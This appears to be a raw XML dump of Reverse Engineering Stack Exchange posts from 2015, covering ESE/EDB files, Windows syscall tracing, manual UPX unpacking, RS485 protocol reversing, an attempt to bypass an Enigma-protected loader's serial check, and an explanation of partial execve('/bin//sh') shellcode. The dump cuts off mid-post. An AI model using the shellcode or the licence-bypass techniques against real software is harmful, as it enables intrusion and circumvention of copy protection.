  <row Id="8234" PostTypeId="2" ParentId="4311" CreationDate="2015-02-13T12:19:49.100" Score="1" Body="&lt;p&gt;The EDB format is used by Microsoft's Extensible Storage Engine (ESE) to provide a storage back-end to a number of applications and services (Exchange, Active Directory, Desktop Search, Windows Live Mail, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the EDB format itself is not documented, it is well supported through a &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/5c485eff-4329-4dc1-aa45-fb66e6554792.aspx&quot; rel=&quot;nofollow&quot;&gt;Windows API&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also access the contents of an EDB file through &lt;a href=&quot;https://github.com/libyal/libesedb&quot; rel=&quot;nofollow&quot;&gt;libesedb&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all you want to do is look through the contents of an EDB file in a human-readable manner, the &lt;a href=&quot;http://www.woanware.co.uk/forensics/esedbviewer.html&quot; rel=&quot;nofollow&quot;&gt;EseDbViewer&lt;/a&gt; tool is very good.&lt;/p&gt;&#xA;" OwnerUserId="7016" LastActivityDate="2015-02-13T12:19:49.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8236" PostTypeId="1" CreationDate="2015-02-13T18:59:37.863" Score="2" ViewCount="2106" Body="&lt;p&gt;Currently I'm trying to get past Enigma's loader, which asks you for a name &amp;amp; key, as an excercise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have very little progress, as I haven't worked too much with packers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did was breakpoint on &lt;code&gt;CreateWindowExA&lt;/code&gt;, and then I put random data at key / name, and then click &lt;code&gt;Register&lt;/code&gt;, which effectively breaks at &lt;code&gt;CreateWindowExA&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, I'm able to check the stack and go back a few calls, but I'm really lost as there's a lot of bloat code (short functions with x87 instructions), and I don't know where to continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also know that the routine that checks the serial is virtualized, so I should patch the places which check the return of the function that checks the serial instead of the function itself, but then again, I get lost when looking at the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my progress so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The breakpoint on &lt;code&gt;CreateWindowExA&lt;/code&gt;, which gets called when you input an invalid serial&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eA0gF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function that calls it:&#xA;&lt;a href=&quot;http://screenshotuploader.com/i/1502/t_q0c.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://screenshotuploader.com/i/1502/t_q0c.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that function, before and after calling &lt;code&gt;CreateWindowExA&lt;/code&gt;, calls these two weird x87 functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ZgUw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;the function that is marked in the previous screenshot&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d5G5N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;this one gets called a few instructions after &lt;code&gt;CreateWindowExA&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After going one more function back, I see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yOBsE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with that function is that it's using some tricks to change the return address (I guess), like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LoWvz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which then leads to weird code which expects a function pointer in &lt;code&gt;edx&lt;/code&gt; returned by a funtion that is dereferencing a pointer to a &lt;code&gt;word&lt;/code&gt; (2 bytes)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code that calls the function that returns a pointer to a function:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CxzoC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's the function that returns a pointer in &lt;code&gt;edx&lt;/code&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/43Cm7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is really weird, as it 1) derefs a &lt;code&gt;word&lt;/code&gt; (2 bytes, not enough for a function pointer!), and 2) &lt;code&gt;FLDCW&lt;/code&gt; loads a x87 FPU control word... what's happening here?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, that's the last return I can see in the stack, as the rest of the values are zeroed, and there's no branch which checks the serial at this depth, so I don't know where to continue looking at.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And if not enough, the program closes each time I input an invalid serial, which makes it harder, because the next time the offsets are totally different and I can't find the code so I breakpoint a bit before, so I'm really lost!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dumping the executable at runtime does absolutely nothing, as it's still packed as it was before, it just makes it 4x bigger (50MB -&gt; 200MB), and doesn't help at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great, even a simple idea, like a hint on what to do next, where to breakpoint, where to look at, or whatever you can think of, would help a lot.&lt;/p&gt;&#xA;" OwnerUserId="4750" LastEditorUserId="4750" LastEditDate="2015-02-13T19:05:33.663" LastActivityDate="2021-02-16T12:02:10.333" Title="Bypassing Enigma loader" Tags="|debugging|unpacking|crackme|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8237" PostTypeId="1" CreationDate="2015-02-14T06:46:03.243" Score="3" ViewCount="1067" Body="&lt;p&gt;I have a master &amp;amp; slaves setup in which the slaves only respond when spoken too.  I can snoop &amp;amp; record an existing master/slaves conversation.  I have an extra slave device that I would like to have my own conversation with, but have so far failed miserably.  I suspect that each device has its own unique ID, but have no idea what my extra slave devices ID is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I know from a logic analyzer &amp;amp; days worth of studying:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;messages start with 0x10&lt;/li&gt;&#xA;&lt;li&gt;prior to message end is a 2 byte CRC-16/MCRF4XX, little endian (thanks: reveng!)&lt;/li&gt;&#xA;&lt;li&gt;messages end with 0x1003&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Suspicions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;first byte is a message type identifier, I've observed ~12 unique message types based on this.  Each message 'type' based on this has the same length.&lt;/li&gt;&#xA;&lt;li&gt;second byte might ??? be a destination device id ???.  Based on this suspicion I took the first 20 unique messages, inserted 255 different ID's into this byte, and sent each of them (correctly packetized with start + data + crc + end) - it did not respond to any of them.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Data sample from the bus during startup, I removed the start, crc &amp;amp; end bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xff020300010400&#xA;0x09510000&#xA;0xff01030002ffff&#xA;0xff020300013c03&#xA;0x01000000&#xA;0x350d0000&#xA;0xff01030002ffff&#xA;0xff020300020200&#xA;0x02007400...big packet with lots of text from a slave A...&#xA;0x340d7400...big packet with lots of text from a/the master?...&#xA;0xff010300010000&#xA;0xff020300010800&#xA;0x09510000&#xA;0xff01030003ffff&#xA;0xff020300030200&#xA;0x02007400...big packet with lots of text from a slave A...  (exactly the same as prior 2 big packets)&#xA;0x340d7400...big packet with lots of text from the master or yet a third slave?... (exactly the same as prior 2 big packets)&#xA;0x0952040000000080&#xA;0xff010300010000&#xA;0xff02030001101000&#xA;0x09510000&#xA;0xff01030004ffff&#xA;0xff020300040200&#xA;0x02007400...big packet with lots of text from a slave B...&#xA;0x340d7400...big packet with lots of text from the master or yet a third slave?...&#xA;0x0952040000000080&#xA;0xff010300010000&#xA;0xff020300012000&#xA;0x09510000&#xA;0xff01030005ffff&#xA;0xff020300050200&#xA;0x02007400...big packet with lots of text from a slave B...  (exactly the same as prior 2 big packets)&#xA;0x340d7400...big packet with lots of text from the master or yet a third slave?... (exactly the same as prior 2 big packets)&#xA;0x0952040000000080&#xA;0xff010300010000&#xA;0xff020300010400&#xA;0x09510000&#xA;0xff01030002ffff&#xA;0xff020300020200&#xA;0x0952040000000080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11760" LastActivityDate="2015-02-16T03:52:41.197" Title="Reversing serial RS485 half duplex bus protocol understanding" Tags="|hardware|serial-communication|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8238" PostTypeId="1" CreationDate="2015-02-14T13:43:11.440" Score="3" ViewCount="3719" Body="&lt;p&gt;I wrote a Pintool that intercepts system calls based on their system call number. I'm currently on a windows 7 machine and I'm using the system calls listed &lt;a href=&quot;http://j00ru.vexillium.org/ntapi/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; as a reference.&#xA;I'm tracing a hello world style executable that does the following :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int (*dyncode)(int);&#xA;dyncode = (int(*)*int)) VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I went through the system calls being invoked and it doesn't seem to me that the NTProtectVirtualMemory system call is being invoked. It would be helpful to know which system calls are invoked when the VirtualAlloc function is called. From the results I see so far, no system calls show up for &lt;code&gt;VirtualAlloc&lt;/code&gt; even though I can see them appear for calls to &lt;code&gt;VirtualFree&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is intercept all system calls that allocate regions with executable privileges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit more of context. The reason I'm trying to intercept system calls is because I had initially written the pintool for linux and I had resorted to hooking system calls as opposed to libc calls(as I did not want to miss direct mprotect system calls). However, it seems this approach wouldn't work for Windows so I've resorted to using IMG_Instrument PIN functions to look for and instrument VirtualAlloc.&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="2147" LastEditorDisplayName="user1743" LastEditDate="2018-10-04T04:39:27.750" LastActivityDate="2018-10-04T04:39:27.750" Title="NTAPI calls made by VirtualAlloc" Tags="|windows|pintool|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8239" PostTypeId="2" ParentId="6773" CreationDate="2015-02-14T18:11:00.743" Score="6" Body="&lt;p&gt;Your mistake is that you put the breakpoint while being on the &lt;code&gt;PUSHAD&lt;/code&gt; instruction (meaning it wasn't executed yet).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I just unpacked the file, and this is how you do it:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;1. Drop the file in Olly and find the &lt;code&gt;PUSHAD&lt;/code&gt; instruction&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Simply do what you did before, and end up here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OW0TO.png&quot; alt=&quot;Step 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;2. Step once to skip the &lt;code&gt;PUSHAD&lt;/code&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now, you got everything pushed, and the decompression can start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zl1xB.png&quot; alt=&quot;Step 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;3. Put a breapoint on the stack&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now, you've arrived to the point where the stack looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## original ESP&#xA;## some register's value&#xA;## some register's value&#xA;## some register's value&#xA;## ...&#xA;## you are here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, on the &lt;code&gt;you are here&lt;/code&gt; point, the decompressor uses the stack, and it grows downwards (to lower addresses).&#xA;When it is done using it, it clears the stack, and reaches again your &lt;code&gt;original ESP&lt;/code&gt; point, where the &lt;code&gt;popad&lt;/code&gt; instruction writes, and which is what causes the breakpoint to hit.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;4. Run&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Pretty much self-explanatory.&#xA;You'll end up here after running:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zA4IX.png&quot; alt=&quot;Step 3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;5. Step again&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Done, you found the OEP!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EmKZr.png&quot; alt=&quot;OEP&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can dump. I used &lt;a href=&quot;http://low-priority.appspot.com/ollydumpex/#download&quot; rel=&quot;noreferrer&quot;&gt;OllyDumpEx&lt;/a&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Dzetg.png&quot; alt=&quot;OllyDumpEx&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply click &lt;kbd&gt;Get EIP as OEP&lt;/kbd&gt; while being on the &lt;code&gt;PUSH EBP&lt;/code&gt; instruction, and then dump: (also write down the EIP&lt;sup&gt;1&lt;/sup&gt;)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Eh9lw.png&quot; alt=&quot;dump&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VUZ60.png&quot; alt=&quot;fix OEP&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;6. Fix IAT&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now, you want to fix the IAT to properly see the used APIs!&#xA;Do not close Olly and don't step, just dump and leave it as is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open &lt;code&gt;ImportREC&lt;/code&gt;, pick the process, and press &lt;kbd&gt;IAT AutoSearch&lt;/kbd&gt;, then &lt;kbd&gt;Get Imports&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z5lOq.png&quot; alt=&quot;IAT fixing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes it may not find the OEP automatically, so just take the OEP you found before&lt;sup&gt;1&lt;/sup&gt;, put it there, and click &lt;kbd&gt;IAT AutoSearch&lt;/kbd&gt; and then &lt;kbd&gt;Get Imports&lt;/kbd&gt; again, and then dump.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;7. Taking a look at the file in IDA&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now you can analyze the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it looks like when manually unpacked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eLLXH.png&quot; alt=&quot;dumped&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is how the UPX unpacked (&lt;code&gt;upx -d&lt;/code&gt;) version looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9gtbb.png&quot; alt=&quot;upx unpacked&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-02-14T18:11:00.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8240" PostTypeId="2" ParentId="8238" CreationDate="2015-02-14T19:41:08.397" Score="3" Body="&lt;p&gt;NtProtectVirutalMemory is not a part of VirtualAlloc call it is a part of VirtualProtect call&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can verify your pintool trace with this windbg conditional breakpoint on any executable that allocates memory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; bl&lt;br&gt;&#xA; 0 e 7c809af1     0001 (0001)  0:**** kernel32!VirtualAlloc &quot;bp /1 @$ra \&quot;g\&quot;;wt&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; $$ break on valloc set a one time condtional break on return address on the stack (condition == keep executing as is) and trace the call&#xA;0:000&amp;gt; g&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tracing kernel32!VirtualAlloc to return address 76fdc3ac&#xA;    9     0 [  0] kernel32!VirtualAlloc&#xA;    3     0 [  1]   kernel32!VirtualAllocEx&#xA;   19     0 [  2]     kernel32!_SEH_prolog&#xA;   16    19 [  1]   kernel32!VirtualAllocEx&#xA;    1     0 [  2]     ntdll!ZwAllocateVirtualMemory&#xA;    2     0 [  2]     ntdll!NtAllocateVirtualMemory&#xA;    2     0 [  3]       ntdll!KiFastSystemCall&#xA;    1     0 [  2]     ntdll!NtAllocateVirtualMemory&#xA;   22    25 [  1]   kernel32!VirtualAllocEx&#xA;    9     0 [  2]     kernel32!_SEH_epilog&#xA;   23    34 [  1]   kernel32!VirtualAllocEx&#xA;   11    57 [  0] kernel32!VirtualAlloc&#xA;&#xA;68 instructions were executed in 67 events (0 from other threads)&#xA;&#xA;Function Name                               Invocations MinInst MaxInst AvgInst&#xA;kernel32!VirtualAlloc                                 1      11      11      11&#xA;kernel32!VirtualAllocEx                               1      23      23      23&#xA;kernel32!_SEH_epilog                                  1       9       9       9&#xA;kernel32!_SEH_prolog                                  1      19      19      19&#xA;ntdll!KiFastSystemCall                                1       2       2       2&#xA;ntdll!NtAllocateVirtualMemory                         2       1       2       1&#xA;ntdll!ZwAllocateVirtualMemory                         1       1       1       1&#xA;&#xA;1 system call was executed&#xA;&#xA;Calls  System Call&#xA;    1  ntdll!KiFastSystemCall&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a trace result for VirtualProtect with call stack and raw Dword dump of esp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:001&gt; bl&lt;br&gt;&#xA; 0 e 7c801ad4     0001 (0001)  0:**** kernel32!VirtualProtect &quot;dd esp l8;kb 3;bp /1 @$ra \&quot;g\&quot;;wt&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dd esp l8&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;009df560  03042c08 00b10000 00002ab0 00000002&#xA;009df570  009df588 00000440 00832758 009df54c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;kb 3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ChildEBP RetAddr  Args to Child              &#xA;009df55c 03042c08 00b10000 00002ab0 00000002 kernel32!VirtualProtect&#xA;009df58c 030420f7 008124b0 0084a610 00832758 dbghelp!idd2me+0x3d8&#xA;009dfa3c 03041c5a 00000440 00832758 00832758 dbghelp!modload+0x367&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wt&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tracing kernel32!VirtualProtect to return address 03042c08&#xA;    9     0 [  0] kernel32!VirtualProtect&#xA;   14     0 [  1]   kernel32!VirtualProtectEx&#xA;    1     0 [  2]     ntdll!ZwProtectVirtualMemory&#xA;    2     0 [  2]     ntdll!NtProtectVirtualMemory&#xA;    2     0 [  3]       ntdll!KiFastSystemCall&#xA;    1     0 [  2]     ntdll!NtProtectVirtualMemory&#xA;   23     6 [  1]   kernel32!VirtualProtectEx&#xA;   11    29 [  0] kernel32!VirtualProtect&#xA;&#xA;40 instructions were executed in 39 events (0 from other threads)&#xA;&#xA;Function Name                               Invocations MinInst MaxInst AvgInst&#xA;kernel32!VirtualProtect                               1      11      11      11&#xA;kernel32!VirtualProtectEx                             1      23      23      23&#xA;ntdll!KiFastSystemCall                                1       2       2       2&#xA;ntdll!NtProtectVirtualMemory                          2       1       2       1&#xA;ntdll!ZwProtectVirtualMemory                          1       1       1       1&#xA;&#xA;1 system call was executed&#xA;&#xA;Calls  System Call&#xA;    1  ntdll!KiFastSystemCall&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-02-14T19:48:42.703" LastActivityDate="2015-02-14T19:48:42.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8241" PostTypeId="1" AcceptedAnswerId="8242" CreationDate="2015-02-14T23:25:05.980" Score="4" ViewCount="8619" Body="&lt;p&gt;I have found the following assembly lines presented in a tutorial which I do not understand:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; xor eax, eax      =&amp;gt; clear, I know that, it makes eax = 0&#xA; push eax          =&amp;gt; push 0 on the stack&#xA; push 0x68732f2f   =&amp;gt; push &quot;//sh&quot; to the stack (the numbers are opcodes I guess, output of hexdump)&#xA; push 0x6e69622f   =&amp;gt; push &quot;/bin&quot; to the stack (again opcodes, representing &quot;/bin&quot; )&#xA; mov ebx, esp      =&amp;gt; put address of &quot;/bin//sh\0&quot; into ebx, via esp&#xA; ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question:&lt;/strong&gt; &#xA;Why we put address of &quot;/bin//sh&quot; into ebx, via esp using the line mov ebx, esp for that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I draw a sketch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         |                        |&#xA;         |------------------------|&amp;lt;-----ESP (I know that ESP always points to the top)&#xA;(a)      |  0x6e69622f  (&quot;//sh&quot;)  |&#xA;         |------------------------|&#xA;(b)      |   0x68732f2f (&quot;/bin&quot;)  |&#xA;         |------------------------|&#xA;(c)      |       0                |&#xA;         |------------------------|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How I try to explain it to myself&lt;/strong&gt;(I am not sure if it is correct, but I thought to think about a little bit before I ask in that forum here):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ESP is a 32-bit register such that it is large enough to comprise the addresses at (a), (b) and (c) (which I marked above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that right? I hope somebody can help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2015-02-19T09:47:24.180" Title="Assembly- Using push and ESP-Register to store addresses" Tags="|assembly|esp|register|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8242" PostTypeId="2" ParentId="8241" CreationDate="2015-02-15T01:26:53.763" Score="6" Body="&lt;p&gt;First of all, let me clarify this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ESP&lt;/code&gt; is a 32-bit register which contains a pointer to the stack.&#xA;It is not, by any means, big enough to &lt;code&gt;comprise the addresses at [...]&lt;/code&gt;. It is just &lt;em&gt;pointing&lt;/em&gt; at a memory location which holds &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt;, and &lt;code&gt;c&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;What your exploit does is push a string to the stack. Look at the &lt;code&gt;/bin//sh&lt;/code&gt; hexadecimal representation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2f 62 69 6e 2f 2f 73 68&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now look at your assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push 0x68732f2f&#xA;push 0x6e69622f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is &lt;em&gt;not&lt;/em&gt; any kind of opcodes, but rather the ASCII representation of the string, pushed as double words (basically, pushes the string in less instructions)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative way would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push '/' ; same as push 0x2f&#xA;push 'b' ; same as push 0x62&#xA;push 'i' ; same as push 0x69&#xA;push 'n' ; same as push 0x6e&#xA;push '/' ; same as push 0x2f&#xA;push '/' ; same as push 0x2f&#xA;push 's' ; same as push 0x73&#xA;push 'h' ; same as push 0x68&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, it's doing the same as above, just in less instructions, by combining the ASCII codes together: &lt;code&gt;6e69622f&lt;/code&gt; instead of &lt;code&gt;2f&lt;/code&gt;, &lt;code&gt;62&lt;/code&gt;, &lt;code&gt;69&lt;/code&gt;, &lt;code&gt;6e&lt;/code&gt; separated. It's also pushing a &lt;code&gt;0&lt;/code&gt;, which is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Null-terminated_string&quot; rel=&quot;noreferrer&quot;&gt;terminator for a C-style string&lt;/a&gt;, so that the string ends there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the stack has &lt;code&gt;/bin//sh&lt;/code&gt;, and all you gotta do is &lt;a href=&quot;http://www.cs.dartmouth.edu/~sergey/cs108/examples/shellcode32-1.c&quot; rel=&quot;noreferrer&quot;&gt;call &lt;code&gt;sys_execve&lt;/code&gt;&lt;/a&gt;, by doing an &lt;code&gt;int 0x80&lt;/code&gt; (interrupt), which is the way Linux uses to make syscalls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;a href=&quot;http://asm.sourceforge.net/syscall.html&quot; rel=&quot;noreferrer&quot;&gt;the syscall ID for &lt;code&gt;sys_execve&lt;/code&gt; is 11&lt;/a&gt;, you move &lt;code&gt;11&lt;/code&gt; to &lt;code&gt;al&lt;/code&gt; (lower part of &lt;code&gt;eax&lt;/code&gt;), and put the first argument into &lt;code&gt;ebx&lt;/code&gt;, which is a &lt;em&gt;pointer to a string&lt;/em&gt;. And since &lt;code&gt;ESP&lt;/code&gt; is pointing to the top of the stack, and the top of the stack contains the &lt;code&gt;/bin//sh&lt;/code&gt; we pushed before, the exploit assembly means this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sys_execve(&quot;/bin//sh&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There you go, exploited! :)&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-02-15T01:26:53.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8243" PostTypeId="2" ParentId="6042" CreationDate="2015-02-15T03:28:13.367" Score="0" Body="&lt;p&gt;You say yourself that the build process requires tools which are not free. In which case: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You would need to break some terms of service &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You would need to do some reverse engineering of your own. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think to fully, and justly answer this question you would need to open a small github project. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2015-02-15T03:28:13.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8244" PostTypeId="2" ParentId="8217" CreationDate="2015-02-15T04:19:51.187" Score="0" Body="&lt;p&gt;The Machine field will tell you the target platform, which includes its bitness, and the endianness of the section contents.  The PE header itself is little-endian (and the optional header is entirely optional for object files).&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-02-15T04:19:51.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8245" PostTypeId="2" ParentId="6042" CreationDate="2015-02-15T08:14:16.207" Score="2" Body="&lt;p&gt;IDA 5.0 free lacks most features introduced in the IDA SDK over the last decade, starting with the extlang support which was introduced in 5.3 or thereabouts and important changes in scripting infrastructure introduced in v5.6 like support for objects, function values, references and properties (a.k.a. 'attributes'). Somewhere along the way there were breaking changes like the passing of string values as VT_STR2 (i.e. the awkward qstring thingy) instead of VT_STR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that current versions of IDAPython cannot be backported without major rewrites and feature reduction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Porting the old IDAPython 1.0.0 should be almost as simple as rebuilding against an implib for IDA 5.0 free, but it does require some minor tweaks to deal with IDA 5.1 functions that are not available in IDA 5.0. Testing might turn up problems that due to changes that go beyond the availability of exported names, though. The chances are still reasonably good for adapting IDAPython 1.1.92 or even something newer but it is bound to require a fair amount of work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: 